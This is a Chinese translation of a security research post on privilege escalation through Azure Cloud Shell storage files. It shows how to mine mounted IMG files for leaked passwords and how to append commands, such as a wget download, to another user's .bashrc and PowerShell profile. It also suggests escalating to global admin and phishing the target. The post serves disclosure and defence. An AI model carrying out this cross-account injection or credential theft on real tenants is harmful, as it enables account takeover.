通過Cloud Shell進行Azure提權

22.jpg

前言

默認情況下,Azure訂閱貢獻者可以訪問訂閱中所有的存儲帳戶。而這些存儲帳戶包含Azure Cloud Shell存儲文件(Linux的home目錄),其中可能存在敏感信息。通過修改這些Cloud Shell文件,攻擊者可以在其他用戶的Cloud Shell會話中執行惡意命令,導致跨帳戶的命令執行和權限提權。

介紹

Azure Cloud Shell(Bash或PowerShell)是一種管理Azure資源的便捷方法,但也是滲透測試中敏感數據泄露和權限提升的潛在“因素”。Azure Cloud Shell可幫助用戶從“任何地方”管理Azure中的資源,這其中涉及shell.azure.comAzure移動應用,以及微軟的終端應用

33.jpg

爲了在任何時間和任何地點都保持一致的體驗,Cloud Shell服務會將文件保存在你訂閱的Azure存儲帳戶中。同時Cloud Shell也將和你選擇的存儲帳戶相關聯,實際文件位於該存儲帳戶的文件共享服務之中。如果你使用的存儲帳戶是由Cloud Shell默認自動生成的,那麼它的前綴很可能是“cs”。

44.png

有關Azure Cloud Shell的更多信息,請查閱此文檔(https://docs.microsoft.com/zh-cn/azure/cloud-shell/persisting-shell-storage)

如何處理Cloud Shell文件?

假設我們現在已掌控了一個他人的AzureAD帳戶,有權對共享的Cloud Shell文件進行讀寫,通常我們也是訂閱中的貢獻者帳戶。

重要提示:默認情況下,所有訂閱貢獻者帳戶將對所有訂閱存儲帳戶具有讀/寫訪問權限,除非另有限制。

此時你應該能夠下載Cloud Shell目錄中的任何可用文件,包括acc_ACCT.img文件。如果同一存儲帳戶存在多個具有Cloud Shell實例的用戶,則存儲帳戶中將有多個文件夾。作爲攻擊者,選擇要攻擊的帳戶(john)並下載該帳戶下的IMG文件。這個文件通常有5GB大小,可能需要下載一分鐘。

55.png

這個IMG文件是一個EXT2文件系統,可以輕鬆地將文件系統掛載到Linux機器上。一旦成功掛載到你的Linux機器上,我們就開始着重關注兩點。

信息泄漏

如果Cloud Shell已用於進行任何實際的操作(而不是偶然打開一次),那麼操作該Shell的用戶很可能在輸入命令時犯了一些錯誤。如果這些錯誤確實在Azure PowerShell命令行上運行過,那麼產生的錯誤日誌將最終出現在IMG文件系統中的.Azure文件夾中。

新Az虛擬機的命令行操作特別容易受到上述漏洞的影響,因爲新虛擬機本地管理員帳戶的憑據可能會被記錄下來。在本例中,我們嘗試創建一個名稱不兼容的VM。這就產生了一個錯誤,導致了密碼被記錄下來。

PS Azure:\> grep -b5 -a5 Password .Azure/ErrorRecords/New-AzVM_2019-10-18-T21-39-25-103.log
103341-  }
103349-},
103356-"osProfile": {
103375-  "computerName": "asdfghjkllkjhgfdasqweryuioasdgkjalsdfjksasdf",
103445-  "adminUsername": "netspi",
103478:  "adminPassword": "Cleartext?",
103515-  "windowsConfiguration": {}
103548-},
103555-"networkProfile": {
103579-  "networkInterfaces": [
103608-{

如果對Cloud Shell的IMG文件進行解析,或許可在.Azure/ErrorRecords文件中找到很多敏感信息。

此外,其他一些命令歷史文件可能也有驚喜:

.bash_history

.local/share/powershell/PSReadLine/ConsoleHost_history.txt

跨賬戶命令執行

假設你攻陷了Azure訂閱中的“Bob”帳戶。他是訂閱中的貢獻者帳戶,且與“Alice”共享訂閱。而Alice是訂閱的所有者,也是Azure tenant的全局管理員。Alice還是一個Cloud Shell高級用戶,在Bob相關的訂閱中有一個實例。

66.png

因爲Bob是訂閱的貢獻者,因此他有權(默認情況下)下載任何Cloud Shell中的.IMG文件,包括Alice的acc_Alice.IMG。下載後,Bob將IMG文件裝載到Linux系統(mount acc_alice.IMG/mnt/)中,並將需要運行的惡意命令附加到以下兩個文件中:

.bashrc

./home/alice/.config/PowerShell/Microsoft.PowerShell_profile.ps1

作爲演示,我們嘗試把MicroBurst下載到Cloud Shell:

$ echo 'wget https://github.com/NetSPI/MicroBurst/archive/master.zip' >> .bashrc
$ echo 'wget https://github.com/NetSPI/MicroBurst/archive/master.zip' >> /home/alice/.config/PowerShell/Microsoft.PowerShell_profile.ps1

一旦完成,就卸載IMG,並將其上傳回Azure存儲帳戶中。當你上載時,請確保選擇“覆蓋已存在的文件”。

上傳完成後,Cloud Shell就已經準備好攻擊了。當Alice啓動的下一個Cloud Shell實例時,針對Alice帳戶的攻擊就會開始。

而在Azure Linux虛擬機中掛載共享文件可能會實現相同的效果。

Example

假設我們剛剛做好了攻擊準備,在Cloud Shell啓動時會輸出“Hello World”(也是通過修改.bashrc和PowerShell配置文件來實現)。無論哪種Cloud Shell(Bash和PowerShell),我們的惡意命令都會運行。

77.png

88.png

可供你進行攻擊的命令有很多,但我還是建議使用提權命令,將當前用戶也設置爲Azure tenant的全局管理員。

如果不確定目標可以訪問哪些訂閱,可以查看Cloud Shell目錄中的.azure/azureProfile.json文件。

最後,如果你的目標遲遲沒有使用Cloud Shell,那麼一封特製的釣魚郵件是個好選擇。

99.png

這兩個漏洞與2019年10月21日進行上報,經過一段時間的積極交流,微軟於12月4日關閉了報告。

本文由白帽彙整理並翻譯,不代表白帽匯任何觀點和立場:https://nosec.org/home/detail/3371.html
來源:https://blog.netspi.com/attacking-azure-cloud-shell/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章